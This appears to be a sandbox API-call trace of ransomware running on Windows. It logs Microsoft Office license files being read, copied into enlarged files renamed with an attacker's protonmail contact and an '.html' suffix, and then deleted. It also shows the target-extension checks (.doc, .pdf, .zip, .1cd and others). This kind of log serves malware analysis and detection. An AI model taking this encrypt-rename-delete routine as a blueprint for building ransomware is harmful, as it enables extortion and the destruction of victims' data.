	[0199.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1
	[0199.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.601] lstrlenW (lpString=".doc") returned 4
	[0199.601] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.601] lstrlenW (lpString=".docx") returned 5
	[0199.601] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.601] lstrlenW (lpString=".pdf") returned 4
	[0199.601] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.601] lstrlenW (lpString=".xls") returned 4
	[0199.601] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.601] lstrlenW (lpString=".xlsx") returned 5
	[0199.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.601] lstrlenW (lpString=".ppt") returned 4
	[0199.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.601] lstrlenW (lpString=".zip") returned 4
	[0199.602] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString=".rar") returned 4
	[0199.602] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString=".bz2") returned 4
	[0199.602] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString=".7z") returned 3
	[0199.602] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.602] lstrlenW (lpString=".dbf") returned 4
	[0199.602] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.602] lstrlenW (lpString=".1cd") returned 4
	[0199.602] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.602] lstrlenW (lpString=".jpg") returned 4
	[0199.602] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.602] lstrlenW (lpString=".doc") returned 4
	[0199.602] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.602] lstrlenW (lpString=".docx") returned 5
	[0199.602] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.602] lstrlenW (lpString=".pdf") returned 4
	[0199.602] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString=".xls") returned 4
	[0199.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString=".xlsx") returned 5
	[0199.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.603] lstrlenW (lpString=".ppt") returned 4
	[0199.603] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.603] lstrlenW (lpString=".zip") returned 4
	[0199.603] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString=".rar") returned 4
	[0199.603] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString=".bz2") returned 4
	[0199.603] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString=".7z") returned 3
	[0199.603] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.603] lstrlenW (lpString=".dbf") returned 4
	[0199.603] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.603] lstrlenW (lpString=".1cd") returned 4
	[0199.603] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0199.603] lstrlenW (lpString=".jpg") returned 4
	[0199.603] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.603] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.603] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30
	[0199.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.604] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=22400) returned 1
	[0199.604] CloseHandle (hObject=0x514) returned 1
	[0199.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220
	[0199.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.605] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.605] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.606] GetLastError () returned 0x0
	[0199.606] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5780, lpOverlapped=0x0) returned 1
	[0199.608] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5790, lpOverlapped=0x0) returned 1
	[0199.609] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.610] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x110, lpOverlapped=0x0) returned 1
	[0199.610] SetEndOfFile (hFile=0x554) returned 1
	[0199.610] CloseHandle (hObject=0x554) returned 1
	[0199.610] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.610] SetEndOfFile (hFile=0x514) returned 1
	[0199.613] CloseHandle (hObject=0x514) returned 1
	[0199.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1
	[0199.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.615] lstrlenW (lpString=".doc") returned 4
	[0199.615] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".docx") returned 5
	[0199.615] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.615] lstrlenW (lpString=".pdf") returned 4
	[0199.615] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".xls") returned 4
	[0199.615] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".xlsx") returned 5
	[0199.615] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.615] lstrlenW (lpString=".ppt") returned 4
	[0199.615] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.615] lstrlenW (lpString=".zip") returned 4
	[0199.615] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".rar") returned 4
	[0199.615] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".bz2") returned 4
	[0199.615] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString=".7z") returned 3
	[0199.615] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.615] lstrlenW (lpString=".dbf") returned 4
	[0199.615] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.615] lstrlenW (lpString=".1cd") returned 4
	[0199.615] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.616] lstrlenW (lpString=".jpg") returned 4
	[0199.616] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.616] lstrlenW (lpString=".doc") returned 4
	[0199.616] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".docx") returned 5
	[0199.616] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.616] lstrlenW (lpString=".pdf") returned 4
	[0199.616] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".xls") returned 4
	[0199.616] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".xlsx") returned 5
	[0199.616] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.616] lstrlenW (lpString=".ppt") returned 4
	[0199.616] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.616] lstrlenW (lpString=".zip") returned 4
	[0199.616] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".rar") returned 4
	[0199.616] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".bz2") returned 4
	[0199.616] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString=".7z") returned 3
	[0199.616] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.616] lstrlenW (lpString=".dbf") returned 4
	[0199.616] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.617] lstrlenW (lpString=".1cd") returned 4
	[0199.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0199.617] lstrlenW (lpString=".jpg") returned 4
	[0199.617] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.617] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.617] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0199.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.618] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11624) returned 1
	[0199.618] CloseHandle (hObject=0x514) returned 1
	[0199.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0199.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.618] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.619] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0199.619] GetLastError () returned 0x0
	[0199.619] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0199.621] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0199.622] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.622] WriteFile (in: hFile=0x554, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0199.622] SetEndOfFile (hFile=0x554) returned 1
	[0199.623] CloseHandle (hObject=0x554) returned 1
	[0199.623] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.623] SetEndOfFile (hFile=0x514) returned 1
	[0199.626] CloseHandle (hObject=0x514) returned 1
	[0199.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1
	[0199.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.627] lstrlenW (lpString=".doc") returned 4
	[0199.627] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.627] lstrlenW (lpString=".docx") returned 5
	[0199.627] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.627] lstrlenW (lpString=".pdf") returned 4
	[0199.627] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.627] lstrlenW (lpString=".xls") returned 4
	[0199.627] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString=".xlsx") returned 5
	[0199.628] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.628] lstrlenW (lpString=".ppt") returned 4
	[0199.628] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString=".zip") returned 4
	[0199.628] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString=".rar") returned 4
	[0199.628] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString=".bz2") returned 4
	[0199.628] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString=".7z") returned 3
	[0199.628] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString=".dbf") returned 4
	[0199.628] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString=".1cd") returned 4
	[0199.628] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString=".jpg") returned 4
	[0199.628] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.628] lstrlenW (lpString=".doc") returned 4
	[0199.628] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.628] lstrlenW (lpString=".docx") returned 5
	[0199.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.628] lstrlenW (lpString=".pdf") returned 4
	[0199.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString=".xls") returned 4
	[0199.629] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString=".xlsx") returned 5
	[0199.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.629] lstrlenW (lpString=".ppt") returned 4
	[0199.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.629] lstrlenW (lpString=".zip") returned 4
	[0199.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString=".rar") returned 4
	[0199.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString=".bz2") returned 4
	[0199.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString=".7z") returned 3
	[0199.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.629] lstrlenW (lpString=".dbf") returned 4
	[0199.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.629] lstrlenW (lpString=".1cd") returned 4
	[0199.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0199.629] lstrlenW (lpString=".jpg") returned 4
	[0199.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.629] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.629] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36
	[0199.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0199.633] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11195) returned 1
	[0199.633] CloseHandle (hObject=0x514) returned 1
	[0199.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220
	[0199.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.864] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.865] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.866] GetLastError () returned 0x0
	[0199.866] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0199.868] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0199.869] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
